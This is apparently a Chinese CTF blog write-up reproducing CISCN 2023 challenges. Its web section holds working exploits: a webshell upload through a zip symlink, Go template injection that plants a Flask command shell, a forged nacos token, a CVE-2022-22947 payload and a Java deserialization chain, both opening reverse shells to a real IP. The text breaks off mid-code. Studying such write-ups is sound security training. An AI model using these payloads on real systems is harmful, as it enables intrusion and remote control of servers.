目录

  1. 1. 前言
  2. 2. 初赛
    1. 2.1. WEB
      1. 2.1.1. Unzip
      2. 2.1.2. dumpit
      3. 2.1.3. go_session
        1. 2.1.3.1. session伪造
        2. 2.1.3.2. SSTI
      4. 2.1.4. BackendService
        1. 2.1.4.1. jwt默认密钥未授权
        2. 2.1.4.2. CVE-2022-22947
      5. 2.1.5. DeserBug
        1. 2.1.5.1. Myexpect实例化类
        2. 2.1.5.2. TrAXFilter连上cc3
        3. 2.1.5.3. JSONObject调用Myexpect
        4. 2.1.5.4. LazyMap调用JSONObject
        5. 2.1.5.5. TiedMapEntry调用LazyMap#get
      6. 2.1.6. reading
    2. 2.2. REVERSE
      1. 2.2.1. babyRE
    3. 2.3. Crypto
      1. 2.3.1. Sign_in_passwd
    4. 2.4. MISC
      1. 2.4.1. 被加密的生产流量
      2. 2.4.2. pyshell
  3. 3. 分区赛
    1. 3.1. [CISCN 2023 华北]ez_date
    2. 3.2. [CISCN 2023 西南]do_you_like_read

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CISCN2023 复现

2023/5/29 CTF线上赛 文件上传 SSTI Golang session
  |     |   总文章阅读量:

前言

比赛那两天感冒了直接大脑宕机,赛后看看还是能学到很多东西的

2024.5.17:太晚了,现在才复现完。。

参考:

https://boogipop.com/2023/05/30/CISCN2023%E5%88%9D%E8%B5%9B%20Web%20WriteUp(%E5%90%AB%E5%A4%8D%E7%8E%B0)/

https://exp10it.io/2023/05/2023-ciscn-%E5%88%9D%E8%B5%9B-web-writeup/

https://blog.csdn.net/m0_46246804/article/details/131881941

https://www.yuque.com/misery333/sz1apr/pu2fcu7s6bg10333


初赛

WEB

Unzip

文件上传

linux软连接

推荐搜索关键字:web unzip

进入题目点下上传按钮就可以看到题目的源码

<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this! 

可以发现这题要求我们传入压缩包,然后会传入/tmp下的随机目录,那么接下来需要做的就是想想怎么得知传入文件的位置以获取shell

这里就需要采用linux的软连接

我们先在linux环境下生成一个指向/var/www/html的软连接cmd

ln -s /var/www/html cmd

然后将其压缩(一定要用命令zip -y压缩)

zip -y cmd.zip cmd

image-20230530160251750

这就是我们要上传的第一个压缩包

然后写一个一句话木马1.php

放在/cmd文件夹下,将整个cmd文件夹压缩为cmd1.zip,这就是第二个上传的压缩包

两个压缩包的原理详见我的文章linux软连接

按顺序上传两个压缩包(ctfshow的复现环境需要我们本地自己强制上传,这里也贴上本地代码)

<!--
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-29 09:44:50
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-29 12:15:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

-->

<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>本地文件上传</title>
</head>
<body>
	<form action="改成要上传的网址" enctype="multipart/form-data" method="post">
    <input type="file" name="file">
    <input type="submit" value="upload">
</form>
</body>
</html>

成功getshell

image-20230530161826150

那直接cat /flag_is_here.txt即可


dumpit

并不是sql注入,而是命令执行

因为sql查询语句本质上也是一个命令执行,题目中存在%0a截断,所以截断后执行命令就行

(这题尚且没有环境复现,只能先云一云)

大多数人的解法都是非预期直接env看环境变量发现flag

cat不能读flag,应该是权限不足,预期解好像只有dump是具有读取权限的,猜测要提权(?


go_session

go pongo2 ssti + flask文件覆盖

main.go

package main

import (
	"github.com/gin-gonic/gin"
	"main/route"
)

func main() {
	r := gin.Default()
	r.GET("/", route.Index)
	r.GET("/admin", route.Admin)
	r.GET("/flask", route.Flask)
	r.Run("0.0.0.0:80")
}

给了三个路由,我们分开审route.go

首先是根路由,session由 gorilla/sessions 实现, 并且 session key 从环境变量中获得

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "guest"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, guest")
}

判断cookie,如果是空就设置为guest,且固定返回Hello, guest

然后是/admin路由

func Admin(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] != "admin" {
		http.Error(c.Writer, "N0", http.StatusInternalServerError)
		return
	}
	name := c.DefaultQuery("name", "ssti")
	xssWaf := html.EscapeString(name)
	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
	if err != nil {
		panic(err)
	}
	out, err := tpl.Execute(pongo2.Context{"c": c})
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	c.String(200, out)
}

session伪造

判断session中name的值是否为admin,那么首先需要进行session伪造,这里比较离谱的地方是题目服务器上并没有设置SESSION_KEY,而os.Getenv 如果获取不存在的环境变量就会返回空值,于是我们只需要在本地自己用空key生成一个session.Values["name"] = "admin"即可

image-20240516222255808

可以看到一开始会进去赋值guest ,现在我们自行改成赋一个admin即可

if session.Values["name"] == nil || session.Values["name"] == "guest" {
	session.Values["name"] = "admin"

得到session值MTcxNTg2OTUxM3xEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXw4MCHU5c5wqaagdWzNYTV_VOxfy4OXoPemn9Jpxqq-GA==

把返回的cookie值取出来,访问/admin路由

image-20240516222634031

此时就能过判断条件了

SSTI

然后是tpl.Execute(pongo2.Context{"c": c}),pongo2的模板渲染,这里存在ssti。在tpl.execute的时候是把c也放进去了的,这个c代表着gin里的上下文对象,这样我们就可以引用Context下的所有函数了,我们跟进一下gin.Context看看有什么函数可以利用的(其实可以直接翻文档https://pkg.go.dev/github.com/gin-gonic/gin

发现存在文件上传的函数

func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error {
	src, err := file.Open()
	if err != nil {
		return err
	}
	defer src.Close()

	if err = os.MkdirAll(filepath.Dir(dst), 0750); err != nil {
		return err
	}

	out, err := os.Create(dst)
	if err != nil {
		return err
	}
	defer out.Close()

	_, err = io.Copy(out, src)
	return err
}

那么我们可以通过c.SaveUploadedFile(file, file.Filename)的方式进行文件上传

参考:https://www.imwxz.com/posts/2b599b70.html#template%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7

ssti payload的雏形:

{{.SaveUploadedFile (.FormFile "file") "/etc/crontab"}}

最后是/flask路由

func Flask(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)

	c.String(200, string(body))
}

可以访问后端的flask,还可以用name参数指定后端要访问的路由,在题目测试的时候发现访问/flask?name=会产生debug报错界面,说明开了debug,报错信息告诉了我们远程的flask文件路径为/app/server.py,这里值得注意的是debug模式下是支持文件热更新

那么我们本地调试的时候可以自己也写一个server.py,结合前面文件上传的函数可以实现覆盖flask文件触发命令执行

题目原始flask文件的内容大概像下面这样:

# -*- coding: utf-8 -*-
from flask import Flask

app = Flask(__name__)

d = {
    "h": "hello world!"
}
@app.route("/")
def hello():
    return "hello"


if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=True)

而我们的要上传的payload为:

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/shell')
def shell():
    cmd = request.args.get('cmd')
    if cmd:
        return os.popen(cmd).read()
    else:
        return 'shell'
    
if __name__== "__main__":
    app.run(host="127.0.0.1",port=5000,debug=True)

那么接下来的问题是怎么上传,注意到代码渲染前有这样一段xssWaf := html.EscapeString(name),会把引号转义,那么前面参考文章里的{{.SaveUploadedFile (.FormFile "file") "/etc/crontab"}}就用不了了

我们需要换一个方式传入字符串,继续翻gin.Context,发现这个库里面又包装了RequestResponseWriter,跟进一下发现可以直接读取请求头,这里选择UserAgent

image-20240516223559065

那么构造我们的ssti payload:

{{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}}

构造http请求包

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}} HTTP/1.1
Host: 7e323704-99b1-4f81-925b-5be0b527f2a1.challenge.ctf.show
Content-Length: 613
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi
User-Agent: /app/server.py
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: session-name=MTcxNTg2OTUxM3xEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXw4MCHU5c5wqaagdWzNYTV_VOxfy4OXoPemn9Jpxqq-GA==
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="/app/server.py"; filename="server.py"
Content-Type: text/plain

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/shell')
def shell():
    cmd = request.args.get('cmd')
    if cmd:
        return os.popen(cmd).read()
    else:
        return 'shell'
    
if __name__== "__main__":
    app.run(host="127.0.0.1",port=5000,debug=True)
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryrxtSm5i2S6anueQi--

payload:

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.Header.Accept.0),c.Request.Header.Referer.0)}} HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: filename
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: E:\\
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi
Cookie: session-name=MTY4NTQxODc4MXxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXy7WOrYaP386kpRTizyXWrsODK1UE5c9AocfIk5qtTjkA==
Upgrade-Insecure-Requests: 1
Content-Length: 591

------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="filename"; filename="server.py"
Content-Type: text/plain

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/shell')
def shell():
    cmd = request.args.get('cmd')
    if cmd:
        return os.popen(cmd).read()
    else:
        return 'shell'

if __name__== "__main__":
    app.run(host="127.0.0.1",port=5000,debug=True)
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryrxtSm5i2S6anueQi--

然后name参数指定路由,访问/flask?name=/shell?cmd=ls${IFS}/

image-20240516225549484

(NSS的靶机flag在环境变量)


BackendService

nacos jwt 默认密钥未授权漏洞 + Spring Cloud Gateway RCE

jwt默认密钥未授权

参考:https://www.cnblogs.com/backlion/p/17246695.html

这里直接拿默认密钥去试:SecretKey012345678901234567890123456789012345678901234567890123456789

先整个时间戳

image-20240516233001652

然后伪造jwt中的payload

{
  "sub": "nacos",
  "exp": 1716218968
}

填入密钥

image-20240516233140556

得到eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxNjIxODk2OH0.jgoi0wZ6Qy5pjhNucAnpPWGnZ9YGXqylGadSsyx7mxI

填到请求头中

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxNjIxODk2OH0.jgoi0wZ6Qy5pjhNucAnpPWGnZ9YGXqylGadSsyx7mxI

image-20240516233426714

于是得到了nacos的token信息

把这个Authorization带回到我们拦截的请求然后发出去,于是就进后台了

image-20240516233943658

CVE-2022-22947

参考:https://xz.aliyun.com/t/11493

poc:注意给的backend服务里写了配置,Data ID 为 backcfg 并且内容为 json 格式

image-20240516235114865

{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "http://example.com/",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash', '-c', 'bash -i >& /dev/tcp/115.236.153.172/13314 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}

image-20240516235334563

发布配置,然后就弹shell了

image-20240516235531967

image-20240516235508155


DeserBug

爆改cc链

hint:

  1. cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept

  2. jdk8u202

给了个jar包,解压下来看一下 com 里的源码

Testapp.class

package com.app;

import cn.hutool.http.ContentType;
import cn.hutool.http.HttpUtil;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Testapp {
    public Testapp() {
    }

    public static void main(String[] args) {
        HttpUtil.createServer(8888).addAction("/", (request, response) -> {
            String bugstr = request.getParam("bugstr");
            String result = "";
            if (bugstr == null) {
                response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
            }

            try {
                byte[] decode = Base64.getDecoder().decode(bugstr);
                ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
                Object object = inputStream.readObject();
                result = object.toString();
            } catch (Exception var8) {
                Myexpect myexpect = new Myexpect();
                myexpect.setTypeparam(new Class[]{String.class});
                myexpect.setTypearg(new String[]{var8.toString()});
                myexpect.setTargetclass(var8.getClass());

                try {
                    result = myexpect.getAnyexcept().toString();
                } catch (Exception var7) {
                    result = var7.toString();
                }
            }

            response.write(result, ContentType.TEXT_PLAIN.toString());
        }).start();
    }
}

这个类中会直接对传入的bugstr参数base64解码并反序列化,并且还会调用toString()方法

image-20240517161900301

注意到题目给了 commons-collections 和 hutool 依赖,hutool是用来起web服务的;而cc依赖的版本是3.2.2,比起存在多条利用链的 3.2.1,这个版本把CC6要用到的InvokerTransformer类干掉了

不过可以想到的是,既然环境专门选择了相对不常见的 hutool 起 web 服务,其中就大概率存在可利用的利用链

Myexpect实例化类

Myexpect.class

package com.app;

import java.lang.reflect.Constructor;

public class Myexpect extends Exception {
    private Class[] typeparam;
    private Object[] typearg;
    private Class targetclass;
    public String name;
    public String anyexcept;

    public Class getTargetclass() {
        return this.targetclass;
    }

    public void setTargetclass(Class targetclass) {
        this.targetclass = targetclass;
    }

    public Object[] getTypearg() {
        return this.typearg;
    }

    public void setTypearg(Object[] typearg) {
        this.typearg = typearg;
    }

    public Object getAnyexcept() throws Exception {
        Constructor con = this.targetclass.getConstructor(this.typeparam);
        return con.newInstance(this.typearg);
    }

    public void setAnyexcept(String anyexcept) {
        this.anyexcept = anyexcept;
    }

    public Class[] getTypeparam() {
        return this.typeparam;
    }

    public void setTypeparam(Class[] typeparam) {
        this.typeparam = typeparam;
    }

    public String getName() {
        return this.name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Myexpect() {
    }
}

这个类用来触发getter,其中getAnyexcept方法有this.targetclass.getConstructor获取构造方法,然后con.newInstance

即可以实例化一个单参数的类

TrAXFilter连上cc3

这个时候想到cc3里的com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

image-20240517171540714

于是后半段直接连上cc3即可

TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(TemplatesEvilClass.class.getName());

Reflection.setFieldValue(templatesImpl, "_name", "Hello");
Reflection.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
Reflection.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

Myexpect expect = new Myexpect();
expect.setTargetclass(TrAXFilter.class);
expect.setTypeparam(new Class[]{Templates.class});
expect.setTypearg(new Object[]{templatesImpl});

JSONObject调用Myexpect

接下来要找从 readObject / toString 到 put / add 的链子

hint告诉我们cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept,即利用链的触发点在cn.hutool.json.JSONObject#put()方法

自己写一个恶意类测试一下

public class Evil {
    public Evil() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}

poc:

import cn.hutool.json.JSONObject;
import com.app.Myexpect;

public class TmpTest {
    public static void main(String[] args) {
        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(Evil.class);

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("whatcanisay", myexpect);
    }
}

image-20240517171110168

可以看到成功弹出了计算器,也即最终触发了com.app.Myexpect#getAnyexcept()方法,并实例化了本地的Evil类

那么接下来找在反序列化阶段能够调用JSONObject#put()的地方

LazyMap调用JSONObject

这里考虑LazyMap#get来调用put方法(其实是我弄不出来 JSONObject 的UML图,不然可以发现它实现了Map接口)

早在 CC1 利用链中我们就接触过LazyMap,经过 LazyMap 修饰后的Map将会在LazyMap#get()方法被触发时才调用Map#put()方法将元素放入,而这刚好符合我们对调用JSONObject#put()的期望

image-20240517174331394

TiedMapEntry调用LazyMap#get

接下来找调用get的地方,CC6链里面我们曾经用TiedMapEntry来调用get

现在我们直接把cc6加进去

import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class Exploit {
    public static void main(String[] args) throws Exception {
        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(Evil.class);

        JSONObject jsonObject = new JSONObject();
        Map outerMap = LazyMap.decorate(jsonObject, new ConstantTransformer("whatever"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");

        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry, "value");
        outerMap.remove("keykey");
        setValue(outerMap, "factory", new ConstantTransformer(myexpect));

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);

        System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(barr.toByteArray()), "UTF-8"));

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

image-20240517175829167

成功实例化evil类

接下来拼cc3,用javassist得到字节码

最终exp:

import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class Exploit {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"/usr/bin/kcalc\");\n}", ctClass);
        ctClass.addConstructor(ctConstructor);
        byte[] byteCode = ctClass.toBytecode();


        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates, "_name", "whatever");
        setValue(templates, "_bytecodes", new byte[][]{byteCode});
        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(TrAXFilter.class);
        myexpect.setTypeparam(new Class[]{Templates.class});
        myexpect.setTypearg(new Object[]{templates});

        JSONObject jsonObject = new JSONObject();
        Map outerMap = LazyMap.decorate(jsonObject, new ConstantTransformer("whatever"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");

        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry, "value");
        outerMap.remove("keykey");
        setValue(outerMap, "factory", new ConstantTransformer(myexpect));

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);

        System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(barr.toByteArray()), "UTF-8"));

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

注:这里我自己把本地的javassist和DeserBug.jar包添加为了当前项目库

image-20240517182211883

成功弹计算器,接下来打远程弹shell即可

Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzIvMTMzMTQgMD4mMQ==}|{base64,-d}|{bash,-i}");

image-20240517182829080

image-20240517182817138

总结一下链子:

HashMap
    ->readObject()
    ->hash(key)

TiedMapEntry
    ->hashCode()
        ->getValue()
            ->map.get(key)
LazyMap
    ->get(key)
    ->this.map.put(key, value)

JSONObject
	->put(...,value)
		->value.getter
Myexpect
	->getAnyexcept()
		//这里可以调用可控类的可控参数的构造器
		
TrAXFilter
    ->TrAXFilter(templates)
        ->templates.newTransformer()

TemplatesImpl
    ->newTransformer()

reading

任意文件读取读内存算key + 时间戳爆破

做题环境有点苛刻(指时间戳爆破读取纳秒)

复现环境参考:https://www.yuque.com/dat0u/ctf/uyn4u57d8dih5i01

app.py

# -*- coding:utf8 -*-
import os
import math
import time
import hashlib
from flask import Flask, request, session, render_template, send_file
from datetime import datetime

app = Flask(__name__)
app.secret_key = hashlib.md5(os.urandom(32)).hexdigest()
key = hashlib.md5(str(time.time_ns()).encode()).hexdigest()

books = os.listdir('./books')
books.sort(reverse=True)


@app.route('/')
def index():
    if session:
        book = session['book']
        page = session['page']
        page_size = session['page_size']
        total_pages = session['total_pages']
        filepath = session['filepath']

        words = read_file_page(filepath, page, page_size)
        return render_template('index.html', books=books, words=words)

    return render_template('index.html', books=books)


@app.route('/books', methods=['GET', 'POST'])
def book_page():
    if request.args.get('book'):
        book = request.args.get('book')
    elif session:
        book = session.get('book')
    else:
        return render_template('index.html', books=books, message='I need book')

    book = book.replace('..', '.')
    filepath = './books/' + book

    if request.args.get('page_size'):
        page_size = int(request.args.get('page_size'))
    elif session:
        page_size = int(session.get('page_size'))
    else:
        page_size = 3000

    total_pages = math.ceil(os.path.getsize(filepath) / page_size)

    if request.args.get('page'):
        page = int(request.args.get('page'))
    elif session:
        page = int(session.get('page'))
    else:
        page = 1

    words = read_file_page(filepath, page, page_size)
    prev_page = page - 1 if page > 1 else None
    next_page = page + 1 if page < total_pages else None

    session['book'] = book
    session['page'] = page
    session['page_size'] = page_size
    session['total_pages'] = total_pages
    session['prev_page'] = prev_page
    session['next_page'] = next_page
    session['filepath'] = filepath

    return render_template('index.html', books=books, words=words)


@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if hashlib.md5(session.get('key').encode()).hexdigest() == key:
        return os.popen('/readflag').read()
    else:
        return "no no no"


def read_file_page(filename, page_number, page_size):
    for i in range(3):
        for j in range(3):
            size = page_size + j
            offset = (page_number - 1) * page_size + i
            try:
                with open(filename, 'rb') as file:
                    file.seek(offset)
                    words = file.read(size)
                return words.decode().split('\n')
            except Exception as e:
                pass
    # if error again
    offset = (page_number - 1) * page_size
    with open(filename, 'rb') as file:
        file.seek(offset)
        words = file.read(page_size)
    return words.split(b'\n')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port='8000')

exp:

import os,requests,re

def dowload(file,offset=0,length=0):
    if offset:
        page = int(offset) // int(length)
        print(f"{url}books?book=.../.../.../.../...{file}&page={str(page)}&page_size={length}")
        res=requests.get(f"{url}books?book=.../.../.../.../...{file}&page={str(page)}&page_size={length}")
    else:
        res = requests.get(f"{url}books?book=.../.../.../.../...{file}&page=1&page_size=2000000000")
    text=res.text
    return text


url="http://1.1.1.1:12345/"
# 读取/proc/self/maps
maps = open(f'maps', 'wb')
maps.write(dowload("/proc/self/maps").encode())
maps.close()

# 清空本地save目录
os.system("rm -rf ./save;mkdir save")
for i in open('maps','r').read().split('\n'):
    if ".so" in i or "lib" in i or"python3" in i or"dev" in i:
        continue
    t = re.search(r'[0-9a-f]{12}-[0-9a-f]{12}', i)
    if t:
        location = t.group().split("-")
    else:
        continue
    try:
        start, end="0x"+location[0],"0x"+location[1]
    except:
        continue
    print("./save/"+start+"-"+end)
    save = open(
        "./save/"+start+"-"+end,"wb"
    )
    save.write(
        dowload(
            "/proc/self/mem",
            str(int(start,16)),
            str(int(end,16)-int(start,16))
        ).encode()
    )

REVERSE

babyRE

异或

xml+snap

推荐搜索关键词:ctf snap xml

参考题目

下载题目附件得到xml文件

在开头发现一个链接,打开是一个snap的网站(貌似是个适合小孩子的编程语言)

点击网站中的run snap!,将xml文件拖入

在lock段发现主要的源代码和逻辑

image-20230530162834526

可以看到左边有一个长度为29的数组,右边有一个异或的代码段

那我们就编写python脚本跑一下获取flag即可

a = [
    102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25,
    81, 83, 7, 28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85,
    87, 30
]
flag = 'f'
for i in range(1, len(a)):
    a[i] = a[i - 1] ^ a[i]
    flag += chr(a[i])
print(flag)

# flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

Crypto

Sign_in_passwd

换表base64

下载题目附件,得到两行字符(第二行需经过url解码)

j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

是换表base64

脚本解:

import base64
import string
from Crypto.Util.number import *
str1 = "j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D"
new  = "GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF"
inti = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(new,inti))))

# 输出
# b'flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}'

MISC

被加密的生产流量

下载题目附件,追踪modbus流量包的tcp流发现base32,解码获得flag

image-20230601203045209

法2:nss上看见大佬写的自动提取脚本,copy来用一下(

import pyshark

flag = ''
tmp = 0
cap = pyshark.FileCapture(input_file="modbus.pcap",tshark_path='D:\WireShark\Wireshark.exe',display_filter='modbus  && frame.len == 66')


def hex2str(id:str) -> str:
    return str(bytes.fromhex(id)).replace("b","").replace("\'","")


for p in cap:
    try:
        if len(p.modbus.word_cnt) == 5:
            tmp = p.modbus.word_cnt
            tmp = str(hex(int(p.modbus.word_cnt))).replace("0x","")
            flag = flag + tmp
    except:
        pass

flag = hex2str(flag)
print(flag)

# 输出
# MMYWMX3GNEYWOXZRGAYDA=

pyshell

python

nc连上靶机,回显”Welcome to this python shell,try to find the flag!”

得知是一个python的交互环境

经过测试发现最大输入长度只能为7,否则会返回”nop”

题目描述说flag在/flag

那就先直接cat /flag

而在python的交互环境下,命令执行的语句是

__import__('os').system('cat /flag')

接下来的问题就是怎么绕过这个长度限制

我们知道linux的环境变量中有一个_会记录上一次的表达结果,其实python交互环境下也是如此

所以我们接下来分别输入以下内容即可获取flag

'__imp'
_+'ort'
_+'__('
_+"'os"
_+"')."
_+"sys"
_+"tem"
_+"('c"
_+"at "
_+"/fl"
_+"ag'"
_+")"
eval(_)

image-20230531185521073


分区赛

[CISCN 2023 华北]ez_date

反序列化

<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
